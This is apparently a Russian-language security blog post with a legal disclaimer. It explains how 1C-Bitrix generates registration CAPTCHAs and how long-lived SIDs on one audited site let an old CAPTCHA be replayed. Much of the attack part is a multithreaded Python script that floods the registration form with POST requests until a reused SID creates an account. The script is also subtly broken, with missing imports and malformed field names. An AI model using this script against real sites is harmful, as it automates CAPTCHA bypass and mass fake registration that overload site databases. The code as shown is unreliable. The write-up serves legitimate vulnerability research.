Эта статья носит информационный характер. Мы призываем не к совершению противоправных действий, а к легальному поиску уязвимостей в информационных системах. Обращаем внимание на необходимость во всех случаях соблюдать действующее законодательство и правила соответствующей программы по поиску уязвимостей. Неправомерный доступ к компьютерной информации влечет за собой юридическую ответственность.
Мы не ругаем 1С-Битрикс, а показываем как ловить разработчиков на ошибке.
Еще давно, у меня был проект по анализу защищенности - веб приложение на 1С-Битрикс.
В ходе поиска уязвимостей мне попалась капча в стандартной форме регистрации 1С-Битрикс, капча генерировалось вроде бы стандартно, но я решил её поисследовать и заметил один нюанс.
Как устроена CAPTCHA в 1C-Bitrix
![](https://habrastorage.org/getpro/habr/upload_files/782/5f9/f50/7825f9f508fa6ea7e449b06bad2c9226.png)
Captcha.php - данный файл отвечает за генерацию SID капчи, обращением к функции GetSID()
SID - это что-то наподобие secure id, который нужен для того, чтобы значение капчи в виде слова(fW0j) лежало в html форме не в открытом виде, а в виде SID(0f7e32b13881c476d4d1f7be9796ed42), это нужно чтобы не так легко ее можно было обойти
Генерация - после того, как открываешь форму она генерируется, идет GET запрос на captcha.php и получаешь значение в виде картинки и sid значения.
В результате капча в html выглядит так:
![](https://habrastorage.org/getpro/habr/upload_files/964/39f/b99/96439fb99ffa056b0444c2a2214195bf.png)
После того, как все сгенерировано капча становиться URL-адресом, который выглядит следующем образом
![CAPTCHA в URL CAPTCHA в URL](https://habrastorage.org/getpro/habr/upload_files/c1e/eb6/265/c1eeb62655238f881dca6661a0ea9fac.png)
Если перейти по этому URL адресу, нас будет ждать картинка капчи, которая подгружается в различные формы.
![Картинка капчи Картинка капчи](https://habrastorage.org/getpro/habr/upload_files/1f5/ae8/876/1f5ae8876a4d389930e0c1a76d0c8c3b.png)
Обход CAPTCHA
После того, как обновить страницу, обновится и сама капча вместе с её SID.
Но была одна странность в том проекте, старый SID капчи, после обновления страницы был в сохранности порядка 4-х часов и я решил проверить, а не сгенерируется ли опять эта самая капча с её SID, раз она в сохранности около 4-х часов и это сработало.
Мой коллега помог написать скрипт для GET запроса напрямую к captcha.php, за что спасибо, но такой метод не сработал.
Тогда я попробовал сделать скрипт с POST запросом через форму регистрации и получил положительный результат.
Отправляем POST запрос на регистрацию нового юзера через python
Отправляем его до тех пор, пока не попадется старый sid
Если попался старый сид, то зарегистрируется новый юзер и скрипт выведет "ok"
import sys
import requests
import threading
requests.packages.urllib3.disable_warnings()
THREAD_COUNT = 10
def bypass():
sid = 'вставляем_недавно_сгенерированный_SID'
url = "Сайт"
data = {
'AUTH_FORM':'Y',
'TYPE': 'REGISTRATION' ,
'USER_NAME': 'klek',
'USER_LAST_NAME': 'klek',
'USER LOGIN': 'asdasdasd',
'USER PASSWORD': '123123123',
'USER_CONFIRM PASSWORD': '123123123',
'USER EMAIL': 'testtest@test.com',
'captcha_sid': sid,
'captcha_word': 'Значение капчи',
'USER_AGREEMENT': 'Y',
'Register': 'sdfssdsddfdsf'
}
while True:
req = requests.post(url, data=data)
time.sleep(0.7)
if "Слово для защиты от автоматической регистрации введено неверно" in req.text:
pass
else:
print("ok")
if __name__ == '__main__':
threads = []
for i in range(THREAD_COUNT):
t = Thread(target=bypass)
threads.append(t)
t.start()
for t in threads:
t.join()
Скрипт может дать ложное срабатывание, к примеру страница может начать выдавать код 500 и скрипт покажет OK, чтобы убедится что ложного срабатывание не произошло, достаточно проверить создалась ли учетная запись.
Импакт от этого - переполнение базы данных путем создания различных юзеров.
Также можно применять и на других формах при условии если SID живет много часов.
Также можно сгенерировать к примеру 10 сидов и добавить в скрипт, это ускорит обход капчи.